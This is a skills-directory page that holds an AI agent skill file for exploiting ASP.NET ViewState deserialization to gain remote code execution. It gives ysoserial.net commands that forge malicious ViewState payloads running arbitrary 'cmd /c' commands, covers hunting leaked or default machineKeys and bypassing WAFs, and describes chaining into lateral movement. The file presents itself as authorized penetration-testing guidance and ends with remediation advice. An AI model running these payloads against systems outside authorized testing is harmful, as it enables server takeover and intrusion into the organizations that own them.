ASP.NET __VIEWSTATE deserialization RCE — forge a malicious ViewState when MAC validation is disabled or the machineKey (validationKey/decryptionKey) is leaked/default. Uses ysoserial.net and viewgen, Blacklist3r to confirm keys. Tier 1. Payloads: payloads/deserialization.md. Use on ASP.NET WebForms apps exposing __VIEWSTATE / __VIEWSTATEGENERATOR.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Viewstate?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-viewstate)
---
name: viewstate
description: "ASP.NET __VIEWSTATE deserialization RCE — forge a malicious ViewState when MAC validation is disabled or the machineKey (validationKey/decryptionKey) is leaked/default. Uses ysoserial.net and viewgen, Blacklist3r to confirm keys. Tier 1. Payloads: payloads/deserialization.md. Use on ASP.NET WebForms apps exposing __VIEWSTATE / __VIEWSTATEGENERATOR."
---
# ASP.NET ViewState RCE
`__VIEWSTATE` is a base64 `LosFormatter`-serialized blob. If its MAC is disabled, or the `machineKey` is leaked/default, you can forge a ViewState that deserializes into a gadget chain → RCE.
## Trigger phrases
`viewstate, __viewstate, aspnet deserialization, machinekey, losformatter, ysoserial.net viewstate, viewgen`
## Method
1. **Fingerprint:** ASP.NET WebForms (`.aspx`), hidden `__VIEWSTATE` (base64, often `/wE...`) + `__VIEWSTATEGENERATOR`. Note framework version, whether `__VIEWSTATEENCRYPTED` is present.
2. **Determine MAC/encryption state:**
- **MAC disabled** (`enableViewStateMac=false`, or pre-4.5 / misconfig): no key needed.
- **MAC enabled:** you need `validationKey`+`validationAlg` (and `decryptionKey` if encrypted). Hunt for leaked `web.config`/`machineKey` via `path-traversal`/`xxe`, source leaks, or test known/default keys with **Blacklist3r** (`AspDotNetWrapper`).
3. **Forge with ysoserial.net** (`-p ViewState`):
```
# MAC disabled:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c nslookup <id>.oast" --isdebug
# MAC enabled, key known:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c <cmd>" \
--generator=<__VIEWSTATEGENERATOR> --validationkey=<key> --validationalg=<alg> \
[--decryptionkey=<k> --decryptionalg=<alg>]
```
Submit as the `__VIEWSTATE` POST field (URL-encoded). `viewgen` is an alternative generator.
4. **Confirm safely:** first fire an OAST command (`nslookup`/`curl <id>.oast`) — a callback proves RCE without a destructive payload; honor Tier/RoE before anything intrusive on production.
## Modern / rare techniques
- [NEW] **Leaked/default machineKey → RCE** even with MAC enabled — default keys are documented; Sitecore CVE-2021-42237 and Soroush Dalili's research are canonical cases.
- [NEW] **Serialization-binder bypass** (CodeWhite 2022) when the app added a custom `SerializationBinder` as mitigation.
- [NEW] **JSF/MyFaces ViewState** is the Java analogue (DES-ECB+HMAC, known default secrets) — see `deserialization`.
- Gadgets beyond TypeConfuseDelegate: `ActivitySurrogateSelector` (may need `--islegacy`/`--minify`), `ObjectDataProvider`.
## Bypass / evasion
${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md: use encrypted ViewState path when `__VIEWSTATEENCRYPTED` set, `ActivitySurrogateSelectorFromFile`, gzip/size tuning to avoid request-size limits, split across POST.
## Escalation / chaining
RCE → `command-injection` → host/`cloud-pentest`/lateral. Key discovery via `path-traversal`/`xxe` (read `web.config`). Padding-oracle route to recover keys/decrypt → `aspnet-padding-oracle`. Broader deser context → `deserialization`.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike): `ysoserial.net`/`ysonet`, `viewgen`, `Blacklist3r`, interactsh/Collaborator for OAST. If a Burp MCP is present, submit the forged `__VIEWSTATE` via Repeater. Windows-local may be needed to run ysoserial.net natively. See `zazy-orchestrator`.
## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. Land an OAST callback before concluding not exploitable. Report true positives only.
## Evidence
The forged `__VIEWSTATE`, generator/key source (leaked vs default vs MAC-off), the triggering request, OAST callback or command output, affected page, impact. Remediation: keep ViewState MAC enabled, rotate/secure `machineKey` (never default/shared), encrypt ViewState, upgrade framework, scope keys per-app.